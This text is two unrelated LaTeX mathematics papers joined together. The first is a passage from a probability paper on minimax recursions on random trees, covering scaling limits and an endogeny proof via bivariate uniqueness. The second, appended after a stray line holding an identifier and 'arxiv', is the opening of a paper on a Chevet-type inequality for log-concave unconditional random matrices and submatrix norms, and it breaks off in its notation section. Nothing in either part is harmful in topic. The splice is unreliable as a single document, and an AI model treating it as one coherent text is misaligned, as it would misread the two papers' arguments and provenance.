\lim_{n \to \infty} h_2^{n}\left(\frac{y}{\alpha^n}\right) = {} & y + \frac{\tilde E}{1-\alpha},
\end{split}
\label{eq:conv_h_1}
\end{align}
where $\frac{\tilde D}{1-\alpha}$, $\frac{\tilde E}{1-\alpha}$ are the (unique) fixed points of $h_1$ and $h_2$ respectively.
Equations (\ref{eq:exponential_f}), (\ref{eq:def_g}), (\ref{eq:bound_g}) and (\ref{eq:conv_h_1}) together imply that
\begin{align*}
\limsup_{n \to \infty} \P(\alpha^n \log W_{2n} \leq x | W_{2n} \in [0, q_+] ) \leq \frac{1}{q_+} \exp\left( x + \frac{\tilde E}{1-\alpha}\right),
\end{align*}
and therefore
\begin{align*}
\lim_{x \to -\infty} \limsup_{n \to \infty} \P(\alpha^n \log W_{2n} \leq x \ | \ W_{2n} \in [0, q_+]) = 0.
\end{align*}
We shall now show that
\begin{align}
\lim_{x \to 0^-} \liminf_{n \to \infty} \P(\alpha^n \log W_{2n} \leq x \ | \ W_{2n} \in [0, q_+]) = 1.
\label{eq:nonlinear_upper}
\end{align}
To do so, note first that by (\ref{eq:exponential_f}) and (\ref{eq:def_g})
\begin{align*}
\P(\alpha^n \log W_{2n} \leq x \ | \ W_{2n} \in [0, q_+]) = \frac{1}{q_+} \exp \left( g^n\left(\frac{x}{\alpha^n}\right)\right),
\end{align*}
hence (\ref{eq:nonlinear_upper}) is equivalent to
\begin{align}
\lim_{x \to 0^-} \liminf_{n \to \infty} g^n\left(\frac{x}{\alpha^n}\right) = \log q_+.
\label{eq:contradiction_g}
\end{align}
Note that $\log q_+$ is a fixed point of $g(x)$. (\ref{eq:contradiction_g}) indicates that the scaling $\alpha^n$ is not strong enough to compensate the attraction of the fixed point $\log q_+$ of $g$.
Let $k_{x,n}$ be the smallest $k$ such that $h_1^k \left(\frac{x}{\alpha^n}\right) \geq \frac{\tilde D}{1-\alpha} - 1$. Note that $k_{x,n}$ is properly defined as $\frac{\bar D}{1-\alpha}$ is the only fixed point of $h_1$ and is stable. Moreover, by (\ref{eq:conv_h_1}) we have that for $x \in (-1,0)$,
\begin{align*}
\lim_{n \to \infty} h_1^n \left(\frac{x}{\alpha^n}\right) = x + \frac{\bar D}{1-\alpha} \geq \frac{\tilde D}{1-\alpha} - 1,
\end{align*}
hence for these $x$, $n - k_{x,n} \geq 0$ for large $n$. Define also
\begin{align*}
K_{x} = \liminf_{n \to \infty} (n - k_{x,n})
\end{align*}
and note that since
\begin{align*}
\lim_{x \to 0^-} \lim_{n \to \infty} h_1^{n}\left(\frac{x}{\alpha^n}\right) = {} &\frac{\tilde D}{1-\alpha},
\end{align*}
and the right-hand side is a fixed point of $h_1$, we obtain that
\begin{align*}
\lim_{x \to 0^-} K_{x} = \infty.
\end{align*}
Now define similarly $\tilde k_{x,n}$ to be the smallest $k$ such that $g^k \left(\frac{x}{\alpha^n}\right) > \frac{\tilde D}{1-\alpha} - 1$. Since $g(y) \geq h_1(y)$ for $y \leq \log q_+$, we have $k_{x,n} \geq \tilde k_{x,n}$, and therefore
\begin{align*}
\lim_{x \to 0^-} \liminf_{n \to \infty} (n - \tilde k_{x,n}) = \infty.
\end{align*}
This implies that
\begin{align*}
\lim_{x \to 0^-} \liminf_{n \to \infty} g^n\left(\frac{x}{\alpha^n}\right) = {} & \lim_{x \to 0^-} \liminf_{n \to \infty} g^{n-k_{x,n}} \left(g^{k_{x,n}}\left(\frac{x}{\alpha^n}\right)\right) \\
\geq {} & \lim_{x \to 0^-} \liminf_{n \to \infty} g^{n-k_{x,n}}\left(\frac{\tilde D}{1-\alpha}-1\right) \\
= {} & \log q_+.
\end{align*}
To finish the proof it is now enough to justify that the limit $\lim_{n \to \infty} \P(\alpha^n \log W_{2n} \leq x | W_{2n} \in [0, q_+] )$ exists for all $x$; recalling (\ref{eq:exponential_f}) it is enough to check that the sequence $f^{n}\left( \exp \left(\frac{x}{\alpha^n}\right)\right)$ is monotone for large $n$. Since $f$ is a strictly monotone function, the statements
\begin{align*}
f^{n+1} \left( \exp \left(\frac{x}{\alpha^{n+1}}\right) \right) {} & \geq f^{n} \left( \exp \left(\frac{x}{\alpha^{n}}\right)\right)
\end{align*}
and
\begin{align}
f \left( \exp \left(\frac{x}{\alpha^{n+1}}\right)\right) {} & \geq \exp \left( \frac{x}{\alpha^{n}} \right).
\label{eq:nonlinear_fn_monotone}
\end{align}
are equivalent. We set $y = \frac{x}{\alpha^{n+1}}$ and $z = \exp(y)$ (therefore $y \to -\infty$ corresponds to $z \to 0$) obtaining that (\ref{eq:nonlinear_fn_monotone}) is equivalent to:
\begin{align*}
f(z) {} & \geq z^{\alpha}.
\end{align*}
Therefore, if $f(z) \sim C z^{\alpha}$ for $C \neq 1$
we observe that for each $x<\log q_+$ the sequence $f^{n}\left(\exp\left(\frac{x}{(\alpha)^n}\right)\right)$ is monotone for $n$ large enough which yields existence of the limit.
This ends the proof of Lemma \ref{prop:nonlinearl_scaling}.
\end{proof}
\begin{comment}
\begin{remark}
Denoting by $\psi(x)$ the distribution function of the limiting random variable $W$, recalling the recursion identity (\ref{eq:recursion_prob}) we obtain that $\psi(x)$ solves the following fixed point equation:
\begin{align*}
\psi (x) = \lim_{n \to \infty} \P(\alpha^n \log W_{2n} \leq x \ | \ W_{2n} \in [0, q_+]) = \frac{1}{q_+} f \left( q_+ \psi \left( \frac{x}{\alpha} \right)\right).
\end{align*}
\end{remark}
\end{comment}
Up to now we only defined $W_m$ for even $m$.
Before we prove Lemma \ref{prop:limit_iff} we extend
to odd $m$.
Define the distribution of a random variable $W_{2n-1}$ as follows:
\begin{align*}
W_{2n-1} \stackrel{d}{=} \max_{1 \leq i \leq M} W_{2n-2}^{(i)},
\end{align*}
where $M$ is a random variable from drawn the tree's offspring distribution and $W_{2n-2}^{(i)}$ are independent copies of $W_{2n-2}$
(independent of $M$). The quantity $W_{2n-1}$ corresponds to the value
at the root of a height $2n-1$, with levels alternating
between max and min, starting and ending with a max.
One has similarly
\begin{align*}
W_{2n} \stackrel{d}{=} \min_{1 \leq i \leq M} W_{2n-1}^{(i)}.
\end{align*}
Lemma \ref{lm:swap} below provides a useful identity which we are going to apply in the proof of Lemma \ref{prop:limit_iff}.
\begin{lemma}
$
W_{2n-1} \stackrel{d}{=} G^{-1}(1-W_{2n-2}).
$
\label{lm:swap}
\end{lemma}
\begin{proof}[Proof of Lemma \ref{lm:swap}]
$G$ is the probability generating function of the offspring
distribution of the tree, so
$G(t) = \P(\max_{1\leq i \leq M} U_i \leq t)$ where $U_i$ are independent uniform random variables and $M$ follows the offspring distribution (independently of $(U_i, i\geq 1)$). Decomposing the minimax tree of height $2n-1$ with maximum at levels $1$ and $2n-1$, we see that random variables at level $2n-2$ (i.e. one level above the leaves) are distributed as $\max_{1\leq i \leq M} U_i$. Therefore
\begin{align}
W_{2n-1} \stackrel{d}{=} W_{2n-2}^{\text{max}, G},
\label{eq:swap_proof_1}
\end{align}
where $W_{2n-2}^{\text{max}, G}$ is a random variable corresponding to a max-min tree (i.e. with maximum at the even levels and minimum at the odd ones) where at the leaves instead of uniform random variables we put random variables with distribution function $G$. Noting that if $U$ is a uniform random variable then $G^{-1}(U)$ has distribution function $G$, we see that
\begin{align}
W_{2n-2}^{\text{max}, G} \stackrel{d}{=} G^{-1}(W_{2n-2}^{\text{max}}).
\label{eq:swap_proof_2}
\end{align}
Now, since
\begin{align*}
\max_{1\leq i \leq M}U_i = 1 - \min_{1 \leq i \leq M} (1-U_i) \stackrel{d}{=}1 - \min_{1 \leq i \leq M} U_i
\end{align*}
and
\begin{align*}
\min_{1\leq i \leq M}U_i = 1 - \max_{1 \leq i \leq M} (1-U_i) \stackrel{d}{=}1 - \max_{1 \leq i \leq M} U_i,
\end{align*}
we obtain that
\begin{align}
W_{2n-2}^{\text{max}} \stackrel{d}{=} 1 - W_{2n-2}.
\label{eq:swap_proof_3}
\end{align}
Finally, combining (\ref{eq:swap_proof_1}), (\ref{eq:swap_proof_2}) and (\ref{eq:swap_proof_3}) completes the proof.
\end{proof}
We are now ready to prove Lemma \ref{prop:limit_iff}.
\begin{proof}[Proof of Lemma \ref{prop:limit_iff}]
\begin{comment}
Without loss of generality we are going to show how the convergence
\begin{align}
\mathcal{L} \left( \alpha^n \log (1 - W_{2n}) \ | \ W_{2n} \in [q_-, 1] \right) \xrightarrow[]{d} V_1,
\label{eq:equiv_assump}
\end{align}
implies the convergence
\begin{align}
\mathcal{L} \left( \alpha^n \log W_{2n} \ | \ W_{2n} \in [0, q_+] \right) \xrightarrow[]{d} V_0.
\end{align}
\end{comment}
The convergence (\ref{eq:claim_nonlinear_sc1}) is equivalent to the convergence of
\begin{align}
\lim_{n \to \infty} \P(\alpha^n \log W_{2n} \leq x \ | \ W_{2n} \in [0, q_+]).
\label{eq:conv_equiv1}
\end{align}
at all the continuity points of the corresponding limiting distribution function and similarly the convergence (\ref{eq:claim_nonlinear_sc2}) is equivalent to the convergence of
\begin{align}
\lim_{n \to \infty} \P(\alpha^n \log (1-W_{2n}) \leq x \ | \ W_{2n} \in [q_-,1]).
\label{eq:conv_equiv1'}
\end{align}
at all the continuity points of the corresponding limiting distribution function. Fix $x < 0$. For large $n$,
\begin{align*}
\P(\alpha^n \log W_{2n} \leq x \ | \ W_{2n} \in [0, q_+]) = {} & \frac{1}{q_+}\P(\alpha^n \log W_{2n} \leq x , \ W_{2n} \in [0, q_+]) \\
= {} & \frac{1}{q_+}\P(W_{2n} \leq \exp (x/\alpha^n) , \ W_{2n} \in [0, q_+]) \\
= {} & \frac{1}{q_+} \P(W_{2n} \leq \exp (x/\alpha^n)).
\end{align*}
Now by the branching structure of the tree,
\begin{align*}
\P(W_{2n} \leq \exp (x/\alpha^n)) = 1 - G(\P(W_{2n-1} > \exp (x/\alpha^n))).
\end{align*}
Since $G$ is a continuous function, the convergence (\ref{eq:conv_equiv1}) is equivalent to the convergence
\begin{align*}
\lim_{n \to \infty} \P(W_{2n-1} > \exp (x/\alpha^n)).
\end{align*}
By Lemma \ref{lm:swap},
\begin{align*}
\begin{split}
\P(W_{2n-1} > \exp (x/\alpha^n)) = {} & \P(G^{-1}(1-W_{2n-2}) > \exp (x/\alpha^n)) \\
= {} & \P(1-W_{2n-2} > G(\exp (x/\alpha^n))) \\
= {} & \P(\alpha^{n-2} \log (1-W_{2n-2}) > \alpha^{n-2} \log (G(\exp (x/\alpha^n))))\\
= {} & 1 - \P(\alpha^{n-2} \log (1-W_{2n-2}) \leq \alpha^{n-2} \log (G(\exp (x/\alpha^n)))).
\end{split}
\end{align*}
Since $G(t) \sim p_K t^K$ as $t \to 0$, we observe that
\begin{align*}
\alpha^{n-2} \log (G(\exp (x/\alpha^n))) = \alpha^{n-2} \log (p_K \exp((xK)/\alpha^n) + o(1) = \frac{xK}{\alpha^2} + o(1).
\end{align*}
This implies that if the convergence (\ref{eq:conv_equiv1}) holds at some point $\frac{xK}{\alpha^2}$ which is a continuous point of the limiting distribution function, then the convergence (\ref{eq:conv_equiv1'}) holds at $x$. Similarly, if the convergence (\ref{eq:conv_equiv1'}) holds at some point $x$ which is a continuous point of the limiting distribution function, then the convergence (\ref{eq:conv_equiv1}) holds at $\frac{xK}{\alpha^2}$. Since the set of discontinuity points of any distribution function is at most countable, this ends the proof.
\end{proof}
\section{Proof of the endogeny result}
\label{sec:endogeny_proof}
To prove Theorem \ref{thm:endogeny} we use the
idea of \textit{bivariate uniqueness} introduced
by Aldous and Bandyopadhyay \cite{AldBan}.
Informally, the idea is as follows: suppose we allow \textit{two} values at each node. Each coordinate evolves separately,
according to the minimax recursions (and using the same
realisation of the tree structure). If we put
bivariate values at the leaves of the tree,
we then get a bivariate value at the root of the tree.
Let us consider the moment the case where the values
are discrete (as for the Bernoulli case in Theorem \ref{thm:endogeny}).
If the process is endogenous, and the tree is large,
then with high probability the two components at the root
agree with each other. On the other hand, if the
process is not endogenous, then the probability that
they disagree stays bounded away from zero as the size of the
tree goes to infinity, and in fact we can obtain
a bivariate process on the infinite tree which
is two-periodic and non-degenerate (in the sense that the
two components are not identically the same).
To formalise this we rewrite some of the ideas
around (\ref{eq:rde})
in new notation.
Let $\mu$ be a distribution on $[0,1]$.
We defined $T(\mu)$ be the distribution
of the LHS of (\ref{eq:rde}),
given that the random variables $W_{2n-2}^{(i,j)}$ on the
RHS of (\ref{eq:rde}) are i.i.d.\ with distribution $\mu$.
So $T$ is a map from $\mathcal{P}$ to $\mathcal{P}$,
where $\mathcal{P}$ is the space of distributions on $[0,1]$.
For Theorem \ref{thm:endogeny}
we assume that the
Bernoulli($1-x$) distribution is a fixed point of $T$.
Now consider the space $\mathcal{P}^{(2)}$ of distributions
on $[0,1]^2$. Define the map $T^{(2)}$
from $\mathcal{P}^{(2)}$ to itself as follows.
As before let $M$ and $M_1,M_2,\dots$ be i.i.d.\
draws from the offspring distribution.
Let $(X^{i,j}_1, X^{i,j}_2)$, for each $i,j$, be
i.i.d.\ with distribution $\mu^{(2)}$
(and independent of $M$ and $\{M_i\}$).
Then let $T^{(2)}(\mu^{(2)})$ be the distribution of
$(X_1, X_2)$, where
\begin{align*}
X_1&=
\min_{1\leq i\leq M}
\max_{1\leq j\leq M_i}
X^{(i,j)}_{1},
\\
X_2&=
\min_{1\leq i\leq M}
\max_{1\leq j\leq M_i}
X^{(i,j)}_{2}.
\end{align*}
Note particularly that the recursions for $X_1$ and $X_2$
use the \textit{same} realisation of $M$ and $\{M_i\}$.
If $\mu\in\mathcal{P}$ then we can define
a \textit{diagonal} distribution ${\mu^{\nearrow}}$
on $\mathcal{P}^{(2)}$ by ${\mu^{\nearrow}}=\text{dist}(X,X)$
if $\mu=\text{dist}(X)$.
If $\mu$ is a fixed point of $T$, then certainly ${\mu^{\nearrow}}$
is a fixed point of $T^{(2)}$. The question is whether there
can be any fixed point of $T^{(2)}$, whose marginals are equal
to $\mu$, and which is \textit{not}
of the form of the diagonal distribution ${\mu^{\nearrow}}$.
Mach, Sturm and Swart \cite[Theorem 1]{MachSturmSwart}, refining
Aldous and Bandyopadhyay \cite[Theorem 11]{AldBan},
show that the recursive tree process is endogenous if and only if
there are no such non-degenerate bivariate fixed points
(i.e.\ if the ``bivariate uniqueness property" holds).
\begin{proof}[Proof of Theorem \ref{thm:endogeny}]
We apply Theorem 1 of \cite{MachSturmSwart}
(or indeed Theorem 11 of \cite{AldBan}, since the
additional technical condition relating to continuity
of the operator $T^{(2)}$ does in fact hold in this setting).
To prove our result it is enough to show that
the bivariate uniqueness property holds if and only if
$f'(x)\leq 1$.
Let us write $\mu$ for the Bernoulli($1-x$) distribution
on $\{0,1\}$.
We look for a distribution
$\mu^{(2)}$ on $\{0,1\}^2$ which is a fixed point of $T^{(2)}$,
and whose marginals
are both $\mu$, but which is not the diagonal distribution ${\mu^{\nearrow}}$.
Once these marginals are specified, we only need
to specify one further parameter, say
$b=\mu^{(2)}(1,0)$, since then we can deduce
$\mu^{(2)}(1,1)=1-x-\mu^{(2)}(1,0)=1-x-b$,
and similarly $\mu^{(2)}(0,1)=b$ and $\mu^{(2)}(0,0)=x-b$.
Note $b\in[0,\min(x,1-x)]$.
To show that $\mu^{(2)}$ is a fixed point of $T^{(2)}$,
again it suffices to check just one entry of
$T^{(2)}(\mu^{(2)})$. To look at this we can consider a
random tree with two levels, with bivariate
marginals according to $\mu^{(2)}$ at level
2 of the tree; we wish to see distribution $\mu^{(2)}$ again
at the root. Then write also $\nu^{(2)}$ for the corresponding
distribution of the marginals at level 1.
Let us write $o$ for the root and $\iota$
for a typical level-1 node.
So consider the probability of seeing values $(1,0)$ at the root.
For this to happen, all children of the root must have $1$
in the first coordinate, but at least one child of the root must
have $0$ in the second coordinate. That is,
all children have values $(1,0)$ or $(1,1)$,
but not all of them have values $(1,1)$.
We obtain
\begin{align}
\nonumber
\P\big(\text{values} (1,0) \text{ at }o\big)
&=G\big(\nu^{(2)}(1,0)+\nu^{(2)}(1,1)\big)-G\big(\nu^{(2)}(1,1)\big)\\
&=R\big(\nu^{(2)}(1,1)\big)-R\big(\nu^{(2)}(1,0)+\nu^{(2)}(1,1)\big).
\label{P10root}
\end{align}
We examine both the terms on the RHS.
First note that $\nu^{(2)}(1,0)+\nu^{(2)}(1,1)$ is
the probability that $\iota$ has value $1$ in the first
coordinate. This is the probability that at least one child
of $\iota$ has value 1 in the first coordinate,
i.e.\ that not all the children of $\iota$ have value
0 in the first coordinate. Hence
\begin{align}
\nonumber
\nu^{(2)}(1,0)+\nu^{(2)}(1,1)&=1-G(\mu(0,1)+\mu(0,0))\\
\nonumber
&=1-G(x)\\
&=R(x).
\label{nu1star}
\end{align}
Similarly, for $\iota$ to have values $(1,1)$,
we need to exclude the two events that
all its children have value $0$ in the first coordinate
or that all its children have value $0$ in the
second coordinate. Both of these events have probability $G(x)$,
while their intersection, i.e.\ that all children have values
$(0,0)$, has probability $G(x-b)$. So applying inclusion-exclusion,
\begin{align}
\nonumber
\nu^{(2)}(1,1)&=1-G(x)-G(x)+G(x-b)\\
\label{nu11}
&=2R(x)-R(x-b).
\end{align}
Combining (\ref{P10root}), (\ref{nu1star}) and (\ref{nu11}),
we have that if the probability of values $(1,0)$ at level 2
is $b\in[0,\min(x,1-x)]$, then the probability of values $(1,0)$ at the root is
$h(b)\in[0,\min(x,1-x)]$, where
\begin{equation}
\label{hdef}
h(b):=R(2R(x)-R(x-b))-R(R(x)).
\end{equation}
For $\mu^{(2)}$ to be a fixed point of $T^{(2)}$, we therefore
need $b=h(b)$.
Also $\mu^{(2)}$ is diagonal iff $b=0$.
So non-endogeny is equivalent to the existence of a
fixed point of $h$ in the interval
$(0,\min(x,1-x)]$.
From (\ref{hdef})
we have $h(0)=0$, and differentiating with respect to $b$ we get
\begin{align}
h'(b)=R'(R(x)-[R(x-b)-R(x)])R'(x-b)
\label{h1fact}
\end{align}
so that
\begin{align*}
\begin{split}
h'(0)&=R'(R(x))R'(x)\\
&=\frac{d}{dx}R(R(x))\\
&=f'(x).
\end{split}
\end{align*}
Differentiating once more we obtain
\begin{equation}
\label{h2fact}
h''(b)=R''\big(2R(x)-R(x-b)\big)R'(x-b)^2 -R'\big(2R(x)-R(x-b)\big)R''(x-b).
\end{equation}
Since $R$ is positive, decreasing and strictly concave, it follows
that (\ref{h1fact}) is positive and (\ref{h2fact}) is negative, hence that $h$ is increasing and strictly concave.
So if $f'(x)\leq 1$,
giving $h'(0)\leq 1$, then $h(u)<u$ for all $u>0$.
In that case the only non-negative fixed point of $h$
is $0$, and we must obtain $b=0$. In that case
the distribution $\mu^{(2)}$ must be a diagonal
distribution, and we have bivariate uniqueness
(and hence endogeny).
On the other hand, suppose that $f'(x)>1$,
so that $h'(0)>1$. Then for sufficiently small $\epsilon>0$,
$h(\epsilon)>\epsilon$. Starting from some such
$\epsilon$ and iterating $h$ repeatedly
gives an increasing sequence which is bounded above
by $\min(x,1-x)$. Its limit is a fixed point of $h$
which lies in $(0,\min(x,1-x)]$. Hence in
this case there does exist a non-degenerate bivariate
fixed point, and the process is non-endogenous, as
required.
\end{proof}
\begin{proof}[Proof of Corollary \ref{cor:endogeny}]
Since $f'(x)=1$ everywhere, Theorem \ref{thm:endogeny} tells us
that all the processes with Bernoulli marginals are endogenous.
This implies that for any $\mu$, for the process with marginals $\mu$, the event $\{Y\leq y\}$ is measurable with respect to the structure of the tree, for any $y$, where $Y$ is the value at the root. But then in fact the random variable $Y$ is measurable with respect to the structure of the tree, as required.
\end{proof}
\section*{Acknowledgments}
We thank Alexander Holroyd and Julien Berestycki for
valuable discussions, and Christina Goldschmidt and
Micha{\l} Przykucki for many helpful comments.
|
1,477,468,750,022 | arxiv | \section{Introduction}
\label{intro}
Let $n$, $N$ be positive integers.
Let $K\subset \mathbb{R}^N$ and $L\subset \mathbb{R}^n$
be origin symmetric convex bodies, $\| \cdot \|_K$ and $\| \cdot \|_L$
be the corresponding gauges on $\mathbb{R}^N$ and $\mathbb{R}^n$,
that is the norms for which $K$ and $L$ are the unit balls.
To shorten the notation we write $\|\Gam: K\to L\|$ for the operator norm of
a linear operator $\Gam: (\R^N, \|\cdot\|_K)\to (\R^n, \|\cdot\|_L)$. In particular,
$\|\Gam : K\to B_2^N\|$ will denote the operator norm of $\Gam$ considered as a
linear operator from $(\R^N, \|\cdot\|_K)$ to $\ell_2^N$, where $\ell_2^N$
is $\R^N$ equipped with the canonical Euclidean norm, whose unit ball is $B_2^N$;
similarly for $\|\Gam : B_2^n\to L\|$. Note also that the dual normed space
$(\R^N, \|\cdot\|_K)^*$ of $(\R^N, \|\cdot\|_K)$ may be identified
(via the canonical inner product) with $(\R^N, \|\cdot\|_{K^{\circ}})$,
where ${K^\circ}$ denotes the polar of $K$
(see the next section for all definitions). The canonical basis on
$\mathbb{R}^d$ is denoted by $\{e_i\}_{1\leq i\leq d}$.
Let $(g_i)_{1\leq i\leq \max{(n,N)}}$ be i.i.d. standard Gaussian
random variables that is centered Gaussian variables with variance 1,
and $\Gam$ be a Gaussian matrix whose entries are i.i.d. standard Gaussian.
Then one side of the Chevet inequality (\cite{Chev}, see also \cite{G}
for sharper constants) states that
\begin{align}
\mathbb{E} \|\Gam : K \to L \|
&\leq
C \|\Id : K \to B_2^N \|
\cdot \mathbb{E}\left\| \sum_{i=1}^n g_i e_i \right\| _{L} \nonumber
\\ &+
C \|\Id : B_2^n \to L \| \cdot
\mathbb{E}\left\| \sum_{i=1}^N g_i e_i \right\| _{K^\circ} ,
\label{chevet1}
\end{align}
where $\Id$ stays for the formal identity operator
and $C$ is an absolute constant. This
inequality plays an important role in Probability in Banach Spaces and
in Asymptotic Geometric Analysis (\cite{BG, Tom}).
We say that a random matrix $\Gam=(\gamma_{ij})$ is {\em isotropic} if
all entries $(\gamma_{ij})$ are uncorrelated centered with variance one
and it is {\em log-concave} if the joint distribution of the $\gamma_{ij}$'s
has a density which is log-concave on its support, finally we say that the
matrix $\Gam$ is {\em unconditional} if for any
choice of signs $(\varepsilon_{ij})$ the matrices $\Gam$ and
$(\varepsilon_{ij} \gamma_{ij})$ have the same distribution.
There are similar definitions for random vectors.
In Theorem~\ref{Chevet} we prove that an inequality similar to the
Chevet inequality (\ref{chevet1}) holds for any isotropic
log-concave unconditional random matrix $\Gam$
when substituting the Gaussian random variables $g_i$'s
by i.i.d. random variables with symmetric
exponential distribution with variance 1. Moreover, in
Corollary~\ref{probest} we provide the corresponding probability
estimates.
A result from \cite{La2} of the second named author
of this article states that if
$X=(X_1,\dots, X_d)$ is an isotropic log-concave unconditional random vector in
$\R^d$
and if $Y = (E_1, \ldots, E_d)$,
where $E_1, \ldots, E_d$ are i.i.d. symmetric exponential random variables,
then for any norm $\|\cdot\|$ on $\R^d$, one has
\begin{equation}\label{latala1}
\E\|X\| \le C\ \E\|Y\|,
\end{equation}
where $C$ is an absolute constant.
The proof of our Chevet type inequality consists of two steps.
First, using the comparison (\ref{latala1}),
we reduce the case of a general isotropic log-concave unconditional
random matrix $A$ to the case of an exponential random
matrix, i.e. the matrix whose entries are i.i.d. standard symmetric
exponential random variables.
The second step uses Talagrand's result (\cite{TalCan}) on relations
between some random processes associated to the symmetric exponential distribution
and so-called $\gamma_p$ functionals.
We apply our inequality of Chevet type to obtain sharp uniform bounds
on norms of sub-matrices of isotropic log-concave unconditional
random matrices $\Gam$. More precisely,
for any subsets $J\subset \{1,\ldots,n\}$ and $I \subset \{1,\ldots,N\}$
denote the submatrix of $\Gam$ consisting of the rows indexed by elements
from $J$ and the columns indexed by elements from $I$ by $\Gam(J, I)$.
Given $k\le n$ and $m\le N$ define the parameter $\Gam_{k,m}$ by
$$
\Gam_{k,m} = \sup \|\Gam (J, I)\ :\ \ell_2^m \to \ell_2^k\| ,
$$
where the supremum is taken over all subsets
$J\subset \{1,\ldots,n\}$ and $I \subset \{1,\ldots,N\}$ with
cardinalities $|J| = k$, $|I|= m$. That is, $\Gam_{k,m}$ is
the maximal operator norm of a sub-matrix of $\Gam$ with $k$ rows and
$m$ columns.
We prove that
$$
\Gam_{k,m} \leq C\left( \sqrt{m}\log\left(\frac{3 N}{m}\right)
+ \sqrt{k}\log\left(\frac{3 n}{k}\right)\r),
$$
with high probability. This estimate is sharp up to absolute constants.
Furthermore, we provide applications of this result to
the Restricted Isometry Property (RIP) of a matrix with
independent isotropic log-concave unconditional random rows.
We give sharp estimate for the restricted isometry constant
of such matrices.
It is well known and follows from Talagrand's majorizing
measure theorem (see \cite{Tal}) that if
$X=(X_1,\dots, X_d)$ is a centered sub-gaussian random vector in
$\R^d$ with parameter $\alpha>0$, that is, all coordinates $X_i$
are centered and for any $x\in\R^d$ of Euclidean norm 1, any $t>0$,
$\P(|\sum x_iX_i|\geq t)\le 2 \exp(-t^2/\alpha^2)$, then for any norm
$\|\cdot\|$ on $\R^d$, one has
\begin{equation}\label{talagrand1}
\E\|X\| \le C\alpha\, \E\|Y\|,
\end{equation}
where $Y = (g_1, \ldots, g_d)$
and $C>0$ is an absolute constant.
It is interesting to view both inequalities
(\ref{latala1}) and (\ref{talagrand1}) in parallel. There are both based on
majorizing measure theorems of Talagrand; inequality (\ref{talagrand1}) states that
the expectation of the norm of a sub-gaussian vector is
up to a multiplicative constant, dominated by its Gaussian replica.
So Gaussian vectors are almost maximizers. To which class of random vectors does
inequality (\ref{latala1}) correspond?
Since in many geometric and probabilistic inequalities involving isotropic
log-concave vectors, Gaussian and exponential vectors are the extreme cases,
it was naturally conjectured that the expectation of the norm of isotropic
log-concave vector is similarly dominated by the corresponding expectation of
the norm of an exponential random vector. This conjecture would have many
applications. For instance the estimate of $\Gam_{k,m}$ above would extend to general
log-concave random matrices, which is open (see \cite{ALLPT3}).
We show that this is not the case. Namely, in Theorem~\ref{latexam} we prove that
for any $d\geq 1$, there exists an isotropic log-concave random vector $X\in\R^d$
and a norm $\|\cdot\|$ on $\R^d$ such that
\begin{equation}\label{latala2}
\E\|X\| \ge c \sqrt{\ln d}\, \E\|Y\|,
\end{equation}
where $Y$ is of ``symmetric exponential" type and $c$ is a positive universal
constant. Similarly we show that our Chevet inequality does not extend to the
setting of general log-concave random matrices (non unconditional). In fact
it would be interesting to find the best dependence on the dimension in the
reverse inequality to (\ref{latala2}). More precisely, to solve the following problem.
\medskip
\noindent
{\bf Problem. }{\it Find tight (in terms of dimension $d$) estimates
for the following quantity
$$
C(d) = \sup _{\no} \sup _X \frac{\E\|X\|}{\E\|Y\|},
$$
where $Y = (E_1, \ldots, E_d)$ and the supremum is taken over all norms
$\no$ on $\R^d$ and all isotropic log-concave random vectors $X\in\R^d$.
}
\medskip
Theorem~\ref{latexam} and Remark~2 following it show that
$
c\ \sqrt{\ln d} \leq C(d) \le C \sqrt{d}
$
for some absolute positive constants $c$ and $C$.
The results on norms of submatrices and applications were partially announced in \cite{ALLPT4}.
For the related estimates in the non-unconditional case,
see \cite{ALLPT3}.
The paper is organized as follows. In the next section we introduce notation and quote
known results which will be used in the sequel. In Section~\ref{chevetineq} we prove
the Chevet type inequality (and corresponding probability estimates) for unconditional
log-concave matrices. In remarks we discuss its sharpness showing that in general one
can't expect the lower bound of the same order and providing a relevant lower bound.
In Section~\ref{RIP} we apply our Chevet type inequality to obtain sharp uniform
estimates for norms of submatrices. Then we apply the results to the RIP.
Section~\ref{example} is devoted to examples showing that one can't drop the condition
of unconditionality in the comparison theorem of the second named author and in our
Chevet type inequality. Finally, in Section~\ref{dirproof}, we present a direct approach
to uniform estimates of norms of submatrices, which does not involve Chevet type
inequalities and $\gamma_p$ functionals, but is based only on tail estimates for suprema
of linear combinations of independent exponential variables and on a chaining argument
in spirit of \cite{ALPT}.
\medskip
\noindent
{\bf Acknowledgment:\ } The research on this project was partially
done when the authors participated in the Thematic Program on
Asymptotic Geometric Analysis at the Fields Institute in Toronto in
Fall 2010 and in the Discrete Analysis Programme at the Isaac Newton
Institute in Cambridge in Spring 2011. The authors wish to thank these
institutions for their hospitality and excellent working conditions.
\section{Notation and Preliminaries}
\label{notat}
By $|\cdot|$ and $\la \cdot , \cdot \ra$ we denote the canonical
Euclidean norm and the canonical inner product on $\R ^d$.
The canonical basis of $\R ^d$ is denoted by $e_1, \ldots, e_d$.
As usual, $\| \cdot \| _p$, $1\leq p \leq \infty$, denotes the
$\ell _p$-norm, i.e. for every $x=(x_i)_{i=1}^d \in\R^d$
$$
\|x\| _p = \left( \sum _{i= 1}^d |x_i|^p \r) ^{1/p} \,
\mbox{ for } \ p < \infty \, \, \, \, \mbox{ and } \, \, \, \,
\|x\| _{\infty } = \sup _{i\leq d} |x_i|
$$
and $\ell _p^d = (\R ^d, \|\cdot \|_p)$.
The unit ball of $\ell _p^d$ is denoted by $B_p^d$.
For a non-empty set $T\subset \R^d$ we write
$\diam_p(T)$ to denote the diameter of $T$ with respect to
the $\ell_p$-norm.
For an origin symmetric convex body $K\subset \R^d$, the Minkowski
functional of $K$ is
$$
{\| x\|}_{K}=\inf \{\lambda >0 \ |\ x\in\lambda K\},
$$
i.e. the norm, whose unit ball is $K$. The polar of $K$ is
$$
K^{\circ} = \{x \ | \ \la x, y \ra \leq 1 \ \ \mbox{ for all } \ y\in K \}.
$$
Note that $K^{\circ}$ is the unit ball of the space dual to $(\R^d, \|\cdot\|_K)$.
Given an $n\times N$ matrix $\Gam$ and origin symmetric convex bodies $K\subset \R^N$,
$L\subset \R^n$ we denote by
$$
\|\Gam : K \to L \|
$$
the operator norm of $\Gam $ from $(\R^N, {\| \cdot\|}_{K})$ to $(\R^n, {\| \cdot\|}_{L})$.
We also denote
$$
R(K) = \|\Id : K\to B _2^N \|, \quad R(L^{\circ}) = \|\Id : B_2^n \to L \|
= \| \Id : L^{\circ} \to B_2^n\|,
$$
